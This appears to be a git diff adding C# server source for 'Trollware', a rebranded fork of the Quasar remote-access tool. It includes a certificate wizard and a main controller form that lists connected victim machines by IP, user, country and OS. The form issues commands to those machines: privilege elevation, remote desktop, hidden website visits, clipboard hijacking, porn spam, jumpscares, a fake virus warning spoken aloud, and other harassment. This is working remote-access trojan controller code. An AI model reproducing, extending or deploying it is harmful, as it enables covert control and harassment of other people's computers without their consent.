AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAF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KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA
AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv
/vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+159
View File
@@ -0,0 +1,159 @@
namespace Quasar.Server.Forms
{
partial class FrmCertificate
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmCertificate));
this.lblInfo = new System.Windows.Forms.Label();
this.btnCreate = new System.Windows.Forms.Button();
this.lblDescription = new System.Windows.Forms.Label();
this.txtDetails = new System.Windows.Forms.TextBox();
this.btnImport = new System.Windows.Forms.Button();
this.btnSave = new System.Windows.Forms.Button();
this.label1 = new System.Windows.Forms.Label();
this.btnExit = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// lblInfo
//
this.lblInfo.AutoSize = true;
this.lblInfo.Location = new System.Drawing.Point(12, 53);
this.lblInfo.Name = "lblInfo";
this.lblInfo.Size = new System.Drawing.Size(130, 13);
this.lblInfo.TabIndex = 3;
this.lblInfo.Text = "(this might take a while)";
//
// btnCreate
//
this.btnCreate.Location = new System.Drawing.Point(12, 27);
this.btnCreate.Name = "btnCreate";
this.btnCreate.Size = new System.Drawing.Size(75, 23);
this.btnCreate.TabIndex = 1;
this.btnCreate.Text = "Create";
this.btnCreate.UseVisualStyleBackColor = true;
this.btnCreate.Click += new System.EventHandler(this.btnCreate_Click);
//
// lblDescription
//
this.lblDescription.AutoSize = true;
this.lblDescription.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblDescription.Location = new System.Drawing.Point(9, 9);
this.lblDescription.Name = "lblDescription";
this.lblDescription.Size = new System.Drawing.Size(493, 15);
this.lblDescription.TabIndex = 0;
this.lblDescription.Text = "To use Trollware create a new certificate or import an existing one from a previous" +
" installation.";
//
// txtDetails
//
this.txtDetails.Location = new System.Drawing.Point(12, 69);
this.txtDetails.Multiline = true;
this.txtDetails.Name = "txtDetails";
this.txtDetails.ReadOnly = true;
this.txtDetails.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.txtDetails.Size = new System.Drawing.Size(517, 230);
this.txtDetails.TabIndex = 4;
//
// btnImport
//
this.btnImport.Location = new System.Drawing.Point(93, 27);
this.btnImport.Name = "btnImport";
this.btnImport.Size = new System.Drawing.Size(130, 23);
this.btnImport.TabIndex = 2;
this.btnImport.Text = "Browse && Import";
this.btnImport.UseVisualStyleBackColor = true;
this.btnImport.Click += new System.EventHandler(this.btnImport_Click);
//
// btnSave
//
this.btnSave.Enabled = false;
this.btnSave.Location = new System.Drawing.Point(373, 305);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(75, 23);
this.btnSave.TabIndex = 6;
this.btnSave.Text = "Save";
this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.btnSave_Click);
//
// label1
//
this.label1.AutoSize = true;
this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.label1.Location = new System.Drawing.Point(12, 310);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(355, 15);
this.label1.TabIndex = 5;
this.label1.Text = "KEEP THIS FILE SAFE! LOSS RESULTS IN LOOSING ALL CLIENTS!";
//
// btnExit
//
this.btnExit.Location = new System.Drawing.Point(454, 306);
this.btnExit.Name = "btnExit";
this.btnExit.Size = new System.Drawing.Size(75, 23);
this.btnExit.TabIndex = 7;
this.btnExit.Text = "Exit";
this.btnExit.UseVisualStyleBackColor = true;
this.btnExit.Click += new System.EventHandler(this.btnExit_Click);
//
// FrmCertificate
//
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(541, 341);
this.Controls.Add(this.btnExit);
this.Controls.Add(this.label1);
this.Controls.Add(this.btnSave);
this.Controls.Add(this.lblDescription);
this.Controls.Add(this.txtDetails);
this.Controls.Add(this.lblInfo);
this.Controls.Add(this.btnImport);
this.Controls.Add(this.btnCreate);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmCertificate";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Trollware - Certificate Wizard";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label lblDescription;
private System.Windows.Forms.Label lblInfo;
private System.Windows.Forms.Button btnCreate;
private System.Windows.Forms.TextBox txtDetails;
private System.Windows.Forms.Button btnImport;
private System.Windows.Forms.Button btnSave;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button btnExit;
}
}
+100
View File
@@ -0,0 +1,100 @@
using Quasar.Server.Helper;
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Windows.Forms;
using Quasar.Server.Models;
namespace Quasar.Server.Forms
{
public partial class FrmCertificate : Form
{
private X509Certificate2 _certificate;
public FrmCertificate()
{
InitializeComponent();
}
private void SetCertificate(X509Certificate2 certificate)
{
_certificate = certificate;
txtDetails.Text = _certificate.ToString(false);
btnSave.Enabled = true;
}
private void btnCreate_Click(object sender, EventArgs e)
{
SetCertificate(CertificateHelper.CreateCertificateAuthority("Trollware Server CA", 4096));
}
private void btnImport_Click(object sender, EventArgs e)
{
using (var ofd = new OpenFileDialog())
{
ofd.CheckFileExists = true;
ofd.Filter = "*.p12|*.p12";
ofd.Multiselect = false;
ofd.InitialDirectory = Application.StartupPath;
if (ofd.ShowDialog(this) == DialogResult.OK)
{
try
{
SetCertificate(new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable));
}
catch (Exception ex)
{
MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
}
private void btnSave_Click(object sender, EventArgs e)
{
try
{
if (_certificate == null)
throw new ArgumentNullException();
if (!_certificate.HasPrivateKey)
throw new ArgumentException();
File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12));
MessageBox.Show(this,
"Please backup the certificate now. Loss of the certificate results in loosing all clients!",
"Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information);
string argument = "/select, \"" + Settings.CertificatePath + "\"";
Process.Start("explorer.exe", argument);
this.DialogResult = DialogResult.OK;
}
catch (ArgumentNullException)
{
MessageBox.Show(this, "Please create or import a certificate first.", "Save error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch (ArgumentException)
{
MessageBox.Show(this,
"The imported certificate has no associated private key. Please import a different certificate.",
"Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch (Exception)
{
MessageBox.Show(this,
"There was an error saving the certificate, please make sure you have write access to the Trollware directory.",
"Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private void btnExit_Click(object sender, EventArgs e)
{
Environment.Exit(0);
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
File diff suppressed because it is too large Load Diff
+873
View File
@@ -0,0 +1,873 @@
using Quasar.Common.Enums;
using Quasar.Common.Messages;
using Quasar.Server.Extensions;
using Quasar.Server.Messages;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Utilities;
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net.Sockets;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmMain : Form
{
public QuasarServer ListenServer { get; set; }
private const int STATUS_ID = 4;
private const int USERSTATUS_ID = 5;
private bool _titleUpdateRunning;
private bool _processingClientConnections;
private readonly ClientStatusHandler _clientStatusHandler;
private readonly Queue<KeyValuePair<Client, bool>> _clientConnections = new Queue<KeyValuePair<Client, bool>>();
private readonly object _processingClientConnectionsLock = new object();
private readonly object _lockClients = new object(); // lock for clients-listview
public FrmMain()
{
_clientStatusHandler = new ClientStatusHandler();
RegisterMessageHandler();
InitializeComponent();
}
/// <summary>
/// Registers the client status message handler for client communication.
/// </summary>
private void RegisterMessageHandler()
{
MessageHandler.Register(_clientStatusHandler);
_clientStatusHandler.StatusUpdated += SetStatusByClient;
_clientStatusHandler.UserStatusUpdated += SetUserStatusByClient;
}
/// <summary>
/// Unregisters the client status message handler.
/// </summary>
private void UnregisterMessageHandler()
{
MessageHandler.Unregister(_clientStatusHandler);
_clientStatusHandler.StatusUpdated -= SetStatusByClient;
_clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient;
}
public void UpdateWindowTitle()
{
if (_titleUpdateRunning) return;
_titleUpdateRunning = true;
try
{
this.Invoke((MethodInvoker) delegate
{
int selected = lstClients.SelectedItems.Count;
this.Text = (selected > 0)
? string.Format("Trollware - Connected: {0} [Selected: {1}]", ListenServer.ConnectedClients.Length,
selected)
: string.Format("Trollware - Connected: {0}", ListenServer.ConnectedClients.Length);
});
}
catch (Exception)
{
}
_titleUpdateRunning = false;
}
private void InitializeServer()
{
X509Certificate2 serverCertificate;
#if DEBUG
serverCertificate = new DummyCertificate();
#else
if (!File.Exists(Settings.CertificatePath))
{
using (var certificateSelection = new FrmCertificate())
{
while (certificateSelection.ShowDialog() != DialogResult.OK)
{ }
}
}
serverCertificate = new X509Certificate2(Settings.CertificatePath);
#endif
/*var str = Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert));
var cert2 = new X509Certificate2(Convert.FromBase64String(str));
var serverCsp = (RSACryptoServiceProvider)serverCertificate.PublicKey.Key;
var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(cert2).PublicKey.Key;
var result = serverCsp.ExportParameters(false);
var result2 = connectedCsp.ExportParameters(false);
var b = SafeComparison.AreEqual(result.Exponent, result2.Exponent) &&
SafeComparison.AreEqual(result.Modulus, result2.Modulus);*/
ListenServer = new QuasarServer(serverCertificate);
ListenServer.ServerState += ServerState;
ListenServer.ClientConnected += ClientConnected;
ListenServer.ClientDisconnected += ClientDisconnected;
}
private void StartConnectionListener()
{
try
{
ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP);
}
catch (SocketException ex)
{
if (ex.ErrorCode == 10048)
{
MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
ListenServer.Disconnect();
}
catch (Exception)
{
ListenServer.Disconnect();
}
}
private void AutostartListening()
{
if (Settings.AutoListen)
{
StartConnectionListener();
}
if (Settings.EnableNoIPUpdater)
{
NoIpUpdater.Start();
}
}
private void FrmMain_Load(object sender, EventArgs e)
{
InitializeServer();
AutostartListening();
}
private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
{
ListenServer.Disconnect();
UnregisterMessageHandler();
notifyIcon.Visible = false;
notifyIcon.Dispose();
}
private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
{
UpdateWindowTitle();
}
private void ServerState(Networking.Server server, bool listening, ushort port)
{
try
{
this.Invoke((MethodInvoker) delegate
{
if (!listening)
lstClients.Items.Clear();
listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening.";
});
UpdateWindowTitle();
}
catch (InvalidOperationException)
{
}
}
private void ClientConnected(Client client)
{
lock (_clientConnections)
{
if (!ListenServer.Listening) return;
_clientConnections.Enqueue(new KeyValuePair<Client, bool>(client, true));
}
lock (_processingClientConnectionsLock)
{
if (!_processingClientConnections)
{
_processingClientConnections = true;
ThreadPool.QueueUserWorkItem(ProcessClientConnections);
}
}
}
private void ClientDisconnected(Client client)
{
lock (_clientConnections)
{
if (!ListenServer.Listening) return;
_clientConnections.Enqueue(new KeyValuePair<Client, bool>(client, false));
}
lock (_processingClientConnectionsLock)
{
if (!_processingClientConnections)
{
_processingClientConnections = true;
ThreadPool.QueueUserWorkItem(ProcessClientConnections);
}
}
}
private void ProcessClientConnections(object state)
{
while (true)
{
KeyValuePair<Client, bool> client;
lock (_clientConnections)
{
if (!ListenServer.Listening)
{
_clientConnections.Clear();
}
if (_clientConnections.Count == 0)
{
lock (_processingClientConnectionsLock)
{
_processingClientConnections = false;
}
return;
}
client = _clientConnections.Dequeue();
}
if (client.Key != null)
{
switch (client.Value)
{
case true:
AddClientToListview(client.Key);
if (Settings.ShowPopup)
ShowPopup(client.Key);
break;
case false:
RemoveClientFromListview(client.Key);
break;
}
}
}
}
/// <summary>
/// Sets the tooltip text of the listview item of a client.
/// </summary>
/// <param name="client">The client on which the change is performed.</param>
/// <param name="text">The new tooltip text.</param>
public void SetToolTipText(Client client, string text)
{
if (client == null) return;
try
{
lstClients.Invoke((MethodInvoker) delegate
{
var item = GetListViewItemByClient(client);
if (item != null)
item.ToolTipText = text;
});
}
catch (InvalidOperationException)
{
}
}
/// <summary>
/// Adds a connected client to the Listview.
/// </summary>
/// <param name="client">The client to add.</param>
private void AddClientToListview(Client client)
{
if (client == null) return;
try
{
// this " " leaves some space between the flag-icon and first item
ListViewItem lvi = new ListViewItem(new string[]
{
" " + client.EndPoint.Address, client.Value.Tag,
client.Value.UserAtPc, client.Value.Version, "Connected", "Active", client.Value.CountryWithCode,
client.Value.OperatingSystem, client.Value.AccountType
}) { Tag = client, ImageIndex = client.Value.ImageIndex };
lstClients.Invoke((MethodInvoker) delegate
{
lock (_lockClients)
{
lstClients.Items.Add(lvi);
}
});
UpdateWindowTitle();
}
catch (InvalidOperationException)
{
}
}
/// <summary>
/// Removes a connected client from the Listview.
/// </summary>
/// <param name="client">The client to remove.</param>
private void RemoveClientFromListview(Client client)
{
if (client == null) return;
try
{
lstClients.Invoke((MethodInvoker) delegate
{
lock (_lockClients)
{
foreach (ListViewItem lvi in lstClients.Items.Cast<ListViewItem>()
.Where(lvi => lvi != null && client.Equals(lvi.Tag)))
{
lvi.Remove();
break;
}
}
});
UpdateWindowTitle();
}
catch (InvalidOperationException)
{
}
}
/// <summary>
/// Sets the status of a client.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="client">The client to update the status of.</param>
/// <param name="text">The new status.</param>
private void SetStatusByClient(object sender, Client client, string text)
{
var item = GetListViewItemByClient(client);
if (item != null)
item.SubItems[STATUS_ID].Text = text;
}
/// <summary>
/// Sets the user status of a client.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="client">The client to update the user status of.</param>
/// <param name="userStatus">The new user status.</param>
private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus)
{
var item = GetListViewItemByClient(client);
if (item != null)
item.SubItems[USERSTATUS_ID].Text = userStatus.ToString();
}
/// <summary>
/// Gets the Listview item which belongs to the client.
/// </summary>
/// <param name="client">The client to get the Listview item of.</param>
/// <returns>Listview item of the client.</returns>
private ListViewItem GetListViewItemByClient(Client client)
{
if (client == null) return null;
ListViewItem itemClient = null;
lstClients.Invoke((MethodInvoker) delegate
{
itemClient = lstClients.Items.Cast<ListViewItem>()
.FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag));
});
return itemClient;
}
/// <summary>
/// Gets all selected clients.
/// </summary>
/// <returns>An array of all selected Clients.</returns>
private Client[] GetSelectedClients()
{
List<Client> clients = new List<Client>();
lstClients.Invoke((MethodInvoker)delegate
{
lock (_lockClients)
{
if (lstClients.SelectedItems.Count == 0) return;
clients.AddRange(
lstClients.SelectedItems.Cast<ListViewItem>()
.Where(lvi => lvi != null)
.Select(lvi => lvi.Tag as Client));
}
});
return clients.ToArray();
}
/// <summary>
/// Gets all connected clients.
/// </summary>
/// <returns>An array of all connected Clients.</returns>
private Client[] GetConnectedClients()
{
return ListenServer.ConnectedClients;
}
/// <summary>
/// Displays a popup with information about a client.
/// </summary>
/// <param name="c">The client.</param>
private void ShowPopup(Client c)
{
try
{
this.Invoke((MethodInvoker)delegate
{
if (c == null || c.Value == null) return;
notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country),
string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(),
c.Value.OperatingSystem), ToolTipIcon.Info);
});
}
catch (InvalidOperationException)
{
}
}
#region "ContextMenuStrip"
#region "Client Management"
private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoAskElevate());
}
}
private void updateToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoClientReconnect());
}
private void reconnectToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoClientReconnect());
}
}
private void disconnectToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoClientDisconnect());
}
}
private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count == 0) return;
if (
MessageBox.Show(
string.Format(
"Are you sure you want to uninstall the client on {0} computer\\s?",
lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
MessageBoxIcon.Question) == DialogResult.Yes)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoClientUninstall());
}
}
}
#endregion
private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c);
frmRd.Show();
frmRd.Focus();
}
}
#region "Troll"
private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == DialogResult.OK)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoVisitWebsite
{
Url = frm.Url,
Hidden = frm.Hidden
});
}
}
}
}
}
private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
{
using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == DialogResult.OK)
{
foreach (Client c in GetSelectedClients())
{
c.Send(new DoShowMessageBox
{
Caption = frm.MsgBoxCaption,
Text = frm.MsgBoxText,
Button = frm.MsgBoxButton,
Icon = frm.MsgBoxIcon
});
}
}
}
}
}
private void startPornSpamToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartPornSpam());
}
private void stopPornSpamToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopPornSpam());
}
private void startClipboardHijackToolStripMenuItem_Click(object sender, EventArgs e)
{
string text = Microsoft.VisualBasic.Interaction.InputBox("Enter replacement text for clipboard:", "Clipboard Hijack", "lol got you");
if (string.IsNullOrWhiteSpace(text)) return;
foreach (Client c in GetSelectedClients())
c.Send(new DoStartClipboardHijack { ReplacementText = text });
}
private void stopClipboardHijackToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopClipboardHijack());
}
private void startCursorChaosToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartCursorChaos());
}
private void stopCursorChaosToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopCursorChaos());
}
private static byte[] ReadEmbeddedResource(string name)
{
var asm = Assembly.GetExecutingAssembly();
using (var stream = asm.GetManifestResourceStream(name))
{
var buf = new byte[stream.Length];
stream.Read(buf, 0, buf.Length);
return buf;
}
}
private static byte[] GzipCompress(byte[] data)
{
using (var ms = new MemoryStream())
{
using (var gz = new GZipStream(ms, CompressionLevel.Fastest))
gz.Write(data, 0, data.Length);
return ms.ToArray();
}
}
private void ghostTypingToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoGhostTyping());
}
private void jumpscareToolStripMenuItem_Click(object sender, EventArgs e)
{
var msg = new DoJumpscare
{
WavData = GzipCompress(ReadEmbeddedResource("Quasar.Server.Resources.scream.wav")),
GifData = GzipCompress(ReadEmbeddedResource("Quasar.Server.Resources.scary.gif")),
};
foreach (Client c in GetSelectedClients())
c.Send(msg);
}
private void textToSpeechToolStripMenuItem_Click(object sender, EventArgs e)
{
string text = Microsoft.VisualBasic.Interaction.InputBox("Enter text to speak:", "Text to Speech", "Your computer has a virus!");
if (string.IsNullOrWhiteSpace(text)) return;
foreach (Client c in GetSelectedClients())
c.Send(new DoTextToSpeech { Text = text });
}
private void startSchizophreniaToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartSchizophrenia());
}
private void stopSchizophreniaToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopSchizophrenia());
}
private void startColorInvertToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartColorInvert());
}
private void stopColorInvertToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopColorInvert());
}
private void pianoToolStripMenuItem_Click(object sender, EventArgs e)
{
var frm = new FrmPiano(note => {
foreach (Client c in GetSelectedClients())
c.Send(note);
});
frm.Show(this);
}
private void startBeepSpamToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartBeepSpam());
}
private void stopBeepSpamToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopBeepSpam());
}
private void startFartScrollToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartFartScroll());
}
private void stopFartScrollToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopFartScroll());
}
